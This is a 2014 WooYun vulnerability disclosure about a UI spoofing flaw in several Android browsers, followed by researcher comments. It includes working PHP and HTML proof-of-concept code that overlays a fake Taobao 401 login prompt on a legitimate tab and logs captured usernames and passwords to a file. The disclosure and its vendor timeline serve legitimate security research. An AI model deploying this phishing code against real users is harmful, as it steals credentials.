当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-087466

漏洞标题：多款手机浏览器UI跨域钓鱼漏洞（UC/百度/联想等）

相关厂商：UC，百度，联想等

漏洞作者： 爱梅小礼

提交时间：2014-12-17 08:55

修复时间：2015-03-17 08:56

公开时间：2015-03-17 08:56

漏洞类型：设计错误/逻辑缺陷

危害等级：中

自评Rank：8

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-12-17： 细节已通知厂商并且等待厂商处理中
2014-12-22： 厂商已经确认，细节仅向厂商公开
2014-12-25： 细节向第三方安全合作伙伴开放
2015-02-15： 细节向核心白帽子及相关领域专家公开
2015-02-25： 细节向普通白帽子公开
2015-03-07： 细节向实习白帽子公开
2015-03-17： 细节向公众公开

简要描述：

跨域钓鱼哦~

详细说明：

好吧，我先承认这不是真正意义上的跨域，但可以造成同样的效果。
测试了几款国产安卓浏览器，发现UC（最新版）、百度浏览器（最新版）、联想(vibe ui自带浏览器)、华为(3c自带浏览器)中存在该问题。其它浏览器未必不存在，只是对我这个exp不敏感罢了（要么弹不出新窗口，要么对401对话框不敏感）。
现在安卓浏览器都可以打开很多标签页，而且每个标签页之间都严格遵守同源策略，互不干扰。但有一种情况，当浏览器中同时存在两个已经打开的标签页时，并且用户正在浏览b标签，此时a标签弹出一个由js形成的浏览器对话框（例如alert、confirm、prompt以及401auth），如果这个窗体是全局的，那么这个窗体将会出现在b标签页的上方，如果又没有明确提示来源页的话，那么用户会误认为是b标签页弹出的信息，从而导致钓鱼或者欺骗。

漏洞证明：

下面就是利用该方式跨域淘宝进行401钓鱼的演示
auth.php

<?
if($_SERVER['PHP_AUTH_PW'] =="" || $_SERVER['PHP_AUTH_USER'] =="" )
{
header('WWW-Authenticate: Basic realm="-taobao.com                                                                                                                                                                                                                                             "');
header('HTTP/1.0 401 Unauthorized');
}
else{
$user = $_SERVER['PHP_AUTH_USER'];
$pass = $_SERVER['PHP_AUTH_PW'];
$fish = "username:".$user."  password:".$pass;
file_put_contents("pass.txt",$fish."\n",FILE_APPEND);//将密码保存在pass.txt里面
}
?>


index.html

<html>
<body>
请点击超链接：<a href="javascript:xx();" target="_blank" >淘宝</a>
<script>
function xx() {
window.open("http://www.taobao.com/");
setTimeout("document.location='./auth.php'",5000);//用户打开淘宝后，5秒钟内在淘宝页面弹出401对话框
}
</script>
</body>
</html>


下面欣赏一下这几个浏览器的对话框，最完美的就属UC和百度的了。
uc：

Screenshot_2014-12-17-00-11-10-266.jpeg


baidu：

QQ图片20141217005319.jpg


联想vibe ui自带浏览器，好歹有个来源页提示，不过很容易就能糊弄过去，因为没人记得住taobao的真实IP是多少：

Screenshot_2014-12-17-00-56-50-148.jpeg


华为的也差不多：

QQ图片20141217005207.jpg


输入密码之后，就会保存到pass.txt里啦：

QQ截图20141217010000.jpg


修复方案：

不要全局的框框

版权声明：转载请注明来源 爱梅小礼@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2014-12-22 08:06

厂商回复：

最新状态：

2015-01-14：根据后续华为公司与白帽子沟通情况，暂不涉及华为公司产品

漏洞评价：

评论

  1. 2014-12-17 11:32 | insight-labs 认证白帽子 ( 普通白帽子 | Rank:623 漏洞数:75 | Security guys)

    看来android上的浏览器跨域是个大问题:)

  2. 2014-12-17 12:56 | luwikes ( 普通白帽子 | Rank:512 漏洞数:77 | 潜心学习~~~)

    好久不见大牛出手

  3. 2014-12-17 14:36 | 爱梅小礼 ( 实习白帽子 | Rank:93 漏洞数:16 | 我怀念的是无话不说)

    @luwikes 我可不是大牛，我只是有事儿没事儿出来装一下

  4. 2014-12-17 14:37 | 爱梅小礼 ( 实习白帽子 | Rank:93 漏洞数:16 | 我怀念的是无话不说)

    @insight-labs 域和域之家相互影响总是不好的，即便这种影响不是在数据上而是在ui上

  5. 2014-12-17 14:59 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了，跪着也要...)

    这个我喜欢

  6. 2015-01-04 15:33 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    这个不错啊

  7. 2015-01-05 10:14 | 爱梅小礼 ( 实习白帽子 | Rank:93 漏洞数:16 | 我怀念的是无话不说)

    @wefgod 谢谢支持

  8. 2015-03-17 10:07 | 炯炯虾 ( 路人 | Rank:2 漏洞数:1 | 我来自地球)

    http://www.rafayhackingarticles.net/2015/03/android-browser-kitkat-content-spoofing.html

  9. 2015-03-17 14:42 | Aerfa21 ( 普通白帽子 | Rank:165 漏洞数:44 )

    好思路，难道没在苹果上试试

  10. 2015-03-17 15:15 | Jumbo ( 普通白帽子 | Rank:111 漏洞数:29 | 猫 - http://www.chinabaiker.com)

    嗯，全局的

  11. 2015-03-19 09:35 | 爱梅小礼 ( 实习白帽子 | Rank:93 漏洞数:16 | 我怀念的是无话不说)

    @Aerfa21 没有，首先得有苹果不是